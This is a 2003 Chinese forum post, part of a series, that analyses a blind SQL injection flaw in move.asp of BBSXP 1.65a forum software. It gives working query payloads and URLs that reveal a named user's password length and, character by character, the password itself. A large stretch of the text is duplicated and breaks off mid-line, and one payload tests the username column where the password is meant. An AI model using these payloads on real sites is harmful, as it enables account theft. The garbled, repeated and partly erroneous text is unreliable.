BBSXP漏洞[倒着看五]

MM0759.COM

BBSXP漏洞[倒着看五] - 文章首页→返回版区

■标题:BBSXP漏洞[倒着看五]

■作者:林子野菇 [2003/8/8 21:30:42]
我们要找SQL Injection的漏洞，自然会到生成SQL查询语句的代码中去搜寻。一般来说，满足两个条件的就可以：一、生成的SQL查询语句中包含我们提交的内容；二、提交的内容没有过滤或者是过滤不完全，像1.65a版move.asp行22：

sql="select * from forum where ID="&ID&" and forumid="&forumid&""

里面有两个变量，都有可能满足上面的两个条件，往上看ID和forumid从何而来，行4、5：

ID=Request("ID")
forumid=Request("forumid")

都是用户提交的，满足第一个条件。当然还要看看是否满足第二个条件，行6、7、8：

if isnumeric(""&forumid&"") = flase then
error("<li>非法操作")
end if

这个是说forumid是检查了的，如果不是数字的话就会导致一个“非法操作”，但是我们看到代码里面并没有对ID进行检查，这就满足第二个条件了。事实上VB对变量的类型不是特别的严格，看起来ID好像应该是一个整型，但我们提交一个字符串型的ID也不会造成错误，真是很遗憾啊。
依据数据库的类型，我们可以作出不同的攻击策略，如果是MSSQL，这是支持多语句查询的，而且可以利用存储过程，相对来说简单一点；如果是ACCESS，最多就只能在一个库里面跨表操作，且只支持单一语句查询，功能要弱一些，一般以猜测密码为最终的目的。其实对于MSSQL进行攻击也是很有趣的，有时候也会要一些很巧妙的技巧，不过鉴于大部分BBSXP都是用的ACCESS，就不讨论MSSQL下的攻击了。
我们先看这样一句查询语句：

select * from forum where id=1 and 1=(select count(*) from user) and forumid=1

执行这个就返回的结果来看，可以是空或者非空，关键在于where后面的条件。分开来看的话，可以是三个条件的合取范式，抛开id=1和forumid=1，来看看中间的一个条件：

1=(select count(*) from user)

这个条件为真的话，整个范式就为真，也就是说查询后的返回集不为空，否则的话返回集就是一个空集。这个条件是说user表里面的列项是否为1，由于我们可以获知返回集的空与非空的情况，进一步就可以知道user表里面的列项是否为1了。一句话，上面的查询语句返回结果为空，就是说user表里有1个列，否则user表里面列项就不为1。
这是很容易理解的，弄懂了这个，就可以构造条件来让对方回答是或者否了。猜谜码除了问你的密码是不是xxxxxxx以外，还可以问你的密码第x位是不是x，你的密码是不是一共有x位等等，我们就是这样猜出别人的密码的，打个比方，我们问，never的密码长度是不是7位啊，条件就这样写：

1=(select count(*) from user where username='never' and len(userpass)=7)

要是猜对方的第a位密码是不是'x'，就这样构造条件：

1=(select count(*) from user where username='never' and right(left(username,a),1)='x')

通过对方回答是还是不是就可以猜出来了。嗯，这仅仅是构造了条件，如果是完整的一个查询语句的话，应该是这样，我们还是完整的写出来，虽然有点长：

select * from forum where id=1 and 1=(select count(*) from user where username='never' and len(userpass)=7) and forumid=1

这是问never的密码长度是不是7位的查询语句，比较一下move.asp第22行的那个语句，看出来id为什么的时候就成了上面一条了吗？

ID="1 and 1=(select count(*) from user where username='never' and len(userpass)=7)"
forumid=1

于是我们又倒回来，只要提交上述的id和forumid值，不就可以慢慢的猜随便那个人的密码了吗？

明白了道理，利用就简单了。按照对代码的分析，如果查询后的结果rs为空，后面调用了rs的属性，一定会报错，如果rs不为空，那么一切正常。换句话说，猜对了的话，看到的就是正常的信息，猜错了的话就会看到这样的错误：

"BOF 或 EOF 中有一个是“真”，或者当前的记录已被删除，所需的操作要求一个当前的记录。"

实战演练一下，随便以一个人登陆，然后在地址栏中键入：

http://localhost/bbsxp/move.asp?forumid=1&id=1 and 1=(select count(*) from user where username='never' and len(userpass)=7)

哗，返回了一个空白页，看代码就可以看到上面的错误信息，也就是说密码不是7位。再猜猜密码是不是9位。

http://localhost/bbsxp/move.asp?forumid=1&id=1 and 1=(select count(*) from user where username='never' and len(userpass)=9)

哗，显示出来将帖子移动到什么地方的选项，没有错误信息，也就是说密码就是9位了。同样，下面就应该来慢慢的猜每一位的密码，自己可以试试？
表操作，且只支持单一语句查询，功能要弱一些，一般以猜测密码为最终的目的。其实对于MSSQL进行攻击也是很有趣的，有时候也会要一些很巧妙的技巧，不过鉴于大部分BBSXP都是用的ACCESS，就不讨论MSSQL下的攻击了。
我们先看这样一句查询语句：

select * from forum where id=1 and 1=(select count(*) from user) and forumid=1

执行这个就返回的结果来看，可以是空或者非空，关键在于where后面的条件。分开来看的话，可以是三个条件的合取范式，抛开id=1和forumid=1，来看看中间的一个条件：

1=(select count(*) from user)

这个条件为真的话，整个范式就为真，也就是说查询后的返回集不为空，否则的话返回集就是一个空集。这个条件是说user表里面的列项是否为1，由于我们可以获知返回集的空与非空的情况，进一步就可以知道user表里面的列项是否为1了。一句话，上面的查询语句返回结果为空，就是说user表里有1个列，否则user表里面列项就不为1。
这是很容易理解的，弄懂了这个，就可以构造条件来让对方回答是或者否了。猜谜码除了问你的密码是不是xxxxxxx以外，还可以问你的密码第x位是不是x，你的密码是不是一共有x位等等，我们就是这样猜出别人的密码的，打个比方，我们问，never的密码长度是不是7位啊，条件就这样写：

1=(select count(*) from user where username='never' and len(userpass)=7)

要是猜对方的第a位密码是不是'x'，就这样构造条件：

1=(select count(*) from user where username='never' and right(left(username,a),1)='x')

通过对方回答是还是不是就可以猜出来了。嗯，这仅仅是构造了条件，如果是完整的一个查询语句的话，应该是这样，我们还是完整的写出来，虽然有点长：

select * from forum where id=1 and 1=(select count(*) from user where username='never' and len(userpass)=7) and forumid=1

这是问never的密码长度是不是7位的查询语句，比较一下move.asp第22行的那个语句，看出来id为什么的时候就成了上面一条了吗？

ID="1 and 1=(sele

【回复/版区/上篇/下篇/发贴/仅文字/HTML】

【倒序/最近21条回复】(暂无)

(查看完整版网页)

短讯|首页|登录|算法|电脑版 .
DK MiniBBS Plus v2.0
mm0759.com
155 毫秒 .